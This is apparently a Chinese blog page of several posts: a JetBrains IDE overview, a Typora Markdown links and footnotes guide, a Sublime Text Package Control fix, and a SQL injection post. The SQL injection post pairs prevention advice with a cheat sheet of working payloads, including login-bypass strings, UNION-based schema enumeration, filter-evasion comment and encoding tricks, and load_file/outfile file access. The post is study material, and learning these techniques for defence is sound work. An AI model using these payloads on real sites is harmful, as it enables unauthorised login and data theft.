星期二, 七月 19, 2022

如何选择适合你的IDE产品?JetBrains系列IDE

星期二, 七月 19, 2022 0 Comments

一张一个老人靠着墙脚弹风琴的图片

在选择IDE 产品时,选择统一风格的产品方便,学习和使用

IDE

  1. AppCode - 适用于 iOS/macOS 开发的智能 IDE [2]
  2. CLion - 支持 C 和 C++ 的跨平台 IDE [3]
  3. DataGrip - 多种数据库,一个工具 [4]
  4. GoLand - 专为 Go 开发者设计的跨平台 IDE [5]
  5. [IntelliJ IDEA](https://baike.baidu.com/item/IntelliJ IDEA) - 功能强大,符合人体工程学的 JVM IDE [6]
  6. PHPStorm - 高效智能的 PHP 集成开发工具 [7]
  7. PyCharm - 智能 Python 集成开发工具 [8]
  8. Rider - 快速且强大的跨平台 .NET IDE [9]
  9. RubyMine - 最智能的 Ruby 与 Rails IDE [10]
  10. WebStorm - 最智能的 JavaScript IDE [11]

.NET

  1. ReSharper - 适用于.NET开发者的Visual Studio扩展 [12]
  2. dotCover - .NET 单元测试运行程序和代码覆盖率工具 [13]
  3. dotMemory - .NET 内存分析器 [14]
  4. dotPeek - 免费 .NET 反编译器和程序集浏览器 [15]
  5. dotTrace - .NET 性能分析器 [16]

团队工具

  1. Space - 集成的团队环境 [17]
  2. TeamCity - 安装即用的强大持续集成工具 [18]
  3. Upsource - 代码审查、项目分析 [19]
  4. YouTrack - 为敏捷团队打造的项目管理工具 [20]
  5. Datalore - 提供智能编码辅助的在线数据科学笔记本 [21]
  6. Hub - YouTrack、TeamCity 和 Upsource 的连接器 [22]

编程语言

Kotlin - 一个用于现代多平台应用的静态编程语言 。Kotlin可以编译成Java字节码,支持在JVM上运行;也可以编译成JavaScript,方便在没有JVM的设备上运行。Kotlin已正式成为Android官方支持开发语言。 [23]

可以看见常见IDE 中,许多JetBrains 都是拥有者;

typora中内联链接、引用链接和脚注用法详解

星期二, 七月 19, 2022 0 Comments

一个ai生成的包含多种工具的工具箱图片

链接(Links)

markdown 支持两种链接:内联链接和引用链接

链接的虽然有不同的形式,它的目的就是链接某一个部分,包括某一网页,某一段落等(Markdown supports two styles of links: inline and reference.In both styles, the link text is delimited by [square brackets].)!

内联连接(链接外部)

要创建内联链接,请在链接文本的结束方括号后立即使用一组常规括号。在括号内,将您希望链接指向的网址放在引号中,并附上链接的可选标题。例如(To create an inline link, use a set of regular parentheses immediately after the link text’s closing square bracket. Inside the parentheses, put the URL where you want the link to point, along with an optional title for the link, surrounded in quotes. For example:)


This is [an example](http://example.com/ "Title") inline link.
[This link](http://example.net/) has no title attribute.

结果:

This is an example inline link. (<p>This is <a href="http://example.com/" title="Title">)

This link has no title attribute. (<p><a href="http://example.net/">This link</a> has no)

内联链接(链接内部)

链接到某一标题章节,在使用过程中,点击ctrl+click 就会调转到对应的章节

[text](#title)

这将跳转到对应的标题。

引用链接 Reference Links

引用样式链接使用第二组方括号,在方括号内,您可以放置一个标签来选择要识别的链接:

Reference-style links use a second set of square brackets, inside which you place a label of your choosing to identify the link:

写法
This is [an example][id] reference-style link.

Then, anywhere in the document, you define your link label on a line by itself like this:

[id]: http://example.com/ "Optional Title Here"

在 Typora 中,它们将被渲染成这样:点击后,就会跳转到对应的网站:example.com

结果

This is an example reference-style link.

隐式链接名称快捷方式允许您省略链接的名称,在这种情况下,链接文本本身将用作名称。 只需使用一组空方括号 - 例如,要将单词“Google”链接到 google.com 网站,您可以简单地编写:

文章内[Google][]
[Google]: http://google.com

Google

在 Typora 中,单击链接将展开它以进行编辑,而ctrl+click将在网络浏览器中打开超链接。

总结

链接分为两类;内部链接、引用链接

内部连接,在连接地址时,如果连接是本文的标题,变成了书签,也可以链接外部地址

引用连接;类似学术中文献内容的引用连接,定义的是链接

脚注的用法

脚注,顾名思义就是用于的注解说明,用于对文章的某一部分进行注解

一个具有注脚的文本。1


创建脚注格式类似这样 [^RUNOOB]
[^RUNOOB]: 菜鸟教程 -- 学的不仅是技术,更是梦想!!!

脚注可以是:文本来源的解释、词的解释、网页连接等内容。

通常也可以定义这段文章的来源的用法,类似学术论文中参考文献。

Package Control 不见了,无法使用找不到的或者不存在了

星期二, 七月 19, 2022 0 Comments

问题描述

问题一:Package Control 不见了?1

I want to install a package for FTP. I followed instructions on the internet.
First, in the console, copy the code needed and press Enter.
What I get to see, you see in attached screenshot: I get 275309… Is that an error code?
In the other screen, you see that install package does not give me any result.

img

解决方式2

Go to Preferences > Settings and see if "Package Control" is listed in "ignored_packages". If that isn’t the case, restart Sublime Text and paste the contents of you console in a new issue at https://github.com/wbond/package_control/issues 2.0k.

{
	"color_scheme": "Packages/Color Scheme - Default/Monokai.sublime-color-scheme",
	"font_size": 13,
	"ignored_packages":
	[
		"Package Control",
		"Vintage"
	],
	"theme": "Default.sublime-theme",
}

删除后重启即可使用

参考


  1. https://forum.sublimetext.com/t/package-control-not-working-at-all/29219 ↩︎
  2. Sublime Text3 Package Control 在菜单栏中不显示 ↩︎

星期四, 四月 07, 2022

SQL注入:防范策略、PHP防御及实用技巧

星期四, 四月 07, 2022 0 Comments

SQL 注入

前提

在学习了MySQL 常见命令与程序的学习后,对于SQL命令有了深入的了解后,学习SQL 注入

SQL注入

如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题。

本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入的字符

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

我们永远不要信任用户的输入,我们必须认定用户输入的数据都是不安全的,我们都需要对用户输入的数据进行过滤处理。

防止注入

永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等。

永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。

永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装

sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用==sql注入检测工具jsky==,网站平台就有亿思网站安全平台检测工具。==MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击==等。

PHP 防止注入发生

在脚本语言,如Perl和PHP你可以对用户输入的数据进行转义从而来防止SQL注入。

PHP的MySQL扩展mysqli_real_escape_string()函数来转义特殊的输入字符

PHP脚本中我们可以使用addcslashes()函数来处理以上情况:用户输入的值有"_""%",则会出现这种情况:用户本来只是想查询"abcd_",查询结果中却有"abcd_"、"abcde"、"abcdf"slash表示斜杠;

注入参数

user():当前数据库用户

database():当前数据库名

version():当前使用的数据库版本

@@datadir:数据库存储数据路径

concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)

group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来

concat_ws():用法类似

hex()unhex():用于 hex 编码解码

load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\

select xxoo into outfile '路径':权限较高时可直接写文件

语法技巧

--

DROP sampletable;--

#

DROP sampletable;#

行内注释

/*注释内容*/

DROP/*comment*/sampletable`   DR/**/OP/*绕过过滤*/sampletable`   SELECT/*替换空格*/password/**/FROM/**/Members

/*! MYSQL专属 */

SELECT /*!32302 1/0, */ 1 FROM tablename

字符串编码

ASCII():返回字符的 ASCII 码值

CHAR():把整数转换为对应的字符

后台万能密码

admin' --

admin' #

admin'/*

' or 1=1--

' or 1=1#

' or 1=1/*

') or '1'='1--

') or ('1'='1--

以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

注入语句

获取所有数据库名和表名

#获取所有数据库
show databases;
select schema_name from information_schema.schemata;

# 查看当前所在的数据库名称
select database();
# 查看表
show tables;

使用union 来注入

--MySQL 4版本时用version=9,MySQL 5版本时用version=10
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;   /* 列出当前数据库中的表 */

UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database();   /* 列出所有用户自定义数据库中的表 */

SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';

获取表明列明

UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename' # 获取某一个表的对应的所有列名

-- 查询字段名为 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name = 'username';

-- 查询字段名中包含 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';

# 获取列名
show columns from [数据表]
show index from [数据表]

条件语句的注入

SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;

绕过引号的限制

如何绕过引号的限制

-- hex 编码
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函数
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

如何绕过的特殊字符串

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

使用 CONCAT() 时,任何个参数为 null,将返回 null,推荐使用 CONCAT_WS()CONCAT_WS()函数第一个参数表示用哪个字符间隔所查询的结果。

参考

[1] CTF wiki /SQL 注入